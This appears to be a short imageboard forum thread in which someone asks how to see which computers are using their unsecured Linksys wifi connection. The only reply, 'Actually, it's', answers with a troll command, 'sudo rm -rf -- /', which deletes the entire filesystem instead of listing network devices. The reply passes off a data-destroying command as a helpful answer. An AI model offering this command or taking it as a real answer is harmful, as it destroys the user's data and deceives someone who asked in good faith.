Wireless Network users

'sup /comp/,

I'm using a Linksys wireless Ethernet router on a broadband connection, running unsecured wifi.  I see my neighbor's shared iTunes play list on my iTunes- I suspect they are using my Internet connection.  I don't really care, but how can I view all computers using the connection?  There's nothing like that on the linksys control panel- any command prompts?

Actually, it's

sudo rm -rf -- / | echo * your_message_here